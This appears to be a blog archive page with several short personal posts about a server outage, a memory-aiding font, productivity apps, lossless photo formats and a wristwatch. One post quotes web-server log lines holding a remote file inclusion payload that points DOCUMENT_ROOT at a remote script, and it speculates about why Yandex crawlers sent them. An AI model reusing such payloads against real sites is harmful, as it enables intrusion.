After an extremely long time offline, this blog is alive/online again!

There’s still a ton of maintenance work needed, but at least it’s accessible again .

The blog went offline in early April 2021 – because the trusty physical server at home, built sometime before 2008 from off-the-shelf components, finally malfunctioned badly enough to not be fixable remotely over ssh.
(Or maybe it was still fixable, but at 13+ years old I thought it’s better not to fix anymore.)

It had previously survived (and recovered from) several hardware failures:
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This is unusual enough to blog about it.

There is a special font, called Sans Forgetica, designed to better retain the text that you read… Wow.

I can see how this may become abused – for example, for advertising

Anyway, you can download the font, and even a Chrome extension to show any text chunk in this Unforgettable font from the font’s website: http://sansforgetica.rmit/.

Here’s my blog URL for you to remember, hehe

A long but interesting read: The Sugar Conspiracy.

A while ago I was looking for GTD/TSW-compatible android app.
I ended up using Trello, Keep, and Calendar.

But I always keep looking for new/improved tools, as right now I feel the best one does not exist…
(If the best one can exist at all – requirements and conditions change all the time, so there is no fixed perfect immovable target.)

I have been contemplating trying out the TSW methodology, but neither Keep nor Trello are quite there yet.
I ended up using Evernote; after recent management changes and actually trying to become profitable it may as well last long enough.

Everything was fine and calm until I have found workflowy yesterday.
In essence, it is very similar to the text-file-based system that I have been using for at least half a year.

Briefly, it is a web-based text editor on steroids, with possibly infinite nesting lists and seemingly full keyboard shortcuts control – no mouse needed.
I recommend that you try the demo – it seems to be fully functional, and there is no need to sign up.

This discovery made me read through pages and pages of this class of software tools.
Here is a very brief summary of my findings: Read the rest of this entry »

Here is a recent entry from my web-server’s access log:

bogdan.org.ua:80 130.193.51.57 – - [09/Apr/2016:15:53:22 +0300] “GET /categories/programming?_SERVER[DOCUMENT_ROOT]=http://www.daedongfur.co.kr/shop/log/.logs/id1.txt HTTP/1.1″ 200 13158 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”

Client’s IP 130.193.51.57 does belong to Yandex network range.

So…

• Had Yandex started looking for vulnerabilities in the web-sites it scans?
• Does it only look for vulnerabilities in the .UA web-sites/domains?
• Does Yandex really use a Korean web-site to host malicious code?

In fact, there are more entries like that one, also from one of Yandex IPs:

bogdan.org.ua:80 130.193.51.25 – - [04/Apr/2016:00:14:22 +0300] “GET /categories/programming/page/5?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fwww.daedongfur.co.kr%2Fshop%2Flog%2F.logs%2Fid1.txt HTTP/1.1″ 200 12607 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”
bogdan.org.ua:80 130.193.51.25 – - [04/Apr/2016:00:19:31 +0300] “GET /categories/programming/page/4?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fwww.daedongfur.co.kr%2Fshop%2Flog%2F.logs%2Fid1.txt HTTP/1.1″ 200 12174 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”

I can see 3 explanations, and all of them are bad for Yandex:

• Yandex now belongs to KGB, and it does scan [.UA] web-sites for vulnerabilities;
• some/many of Yandex crawler servers are compromised, and are used by malicious 3rd parties;
• there was a public malicious link somewhere (???) to my blog, and Yandex blindly followed it.

I am using an excellent photo-management suite digiKam, which offers 3 lossless compressed formats for photos versioning and storage: PNG, JPEG 2000, and PGF. I wanted to know which one should I use, which urged me to perform this comparison.

This post is not intended to be an in-depth comparison, but should be sufficient to choose one of the three file formats for your purposes. For more format details and history simply follow the links provided. File formats are reviewed roughly in “historical” order.

PNG (Portable Network Graphics) was designed as GIF replacement.

• It is lossless.
• It is suitable for photos.
• PNG is more space-efficient in the case of images with many pixels of the same color, such as diagrams/plots (as compared to PGF and JPEG2000). However, PNG photos are almost always larger than lossless PGF/JPEG2000 photos (real photo example: 9.9 MB in PNG, 7.0 MB in JPEG 2000).
• PNG is fairly fast at (en|de)coding.
• PNG is widely supported by web-browsers, image editors, and other software.
• PNG uses CRCs internally for each data block, so if damage occurs only the damaged block(s) should be lost – theoretically. However, in practice, according to the Just One Bit paper (local copy), PNG is actually much less damage-resilient than JPEG 2000.

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Casio G-Shock

Looking for a replacement, I found that:

• Casio seems to no longer make affordable models with the same functionality and a metal band – only polymer;
• a similar used model from Casio (MTG-something) costs upwards of 70 EUR.

I was quite sad about that. Any survivalist-minded person can easily see why:
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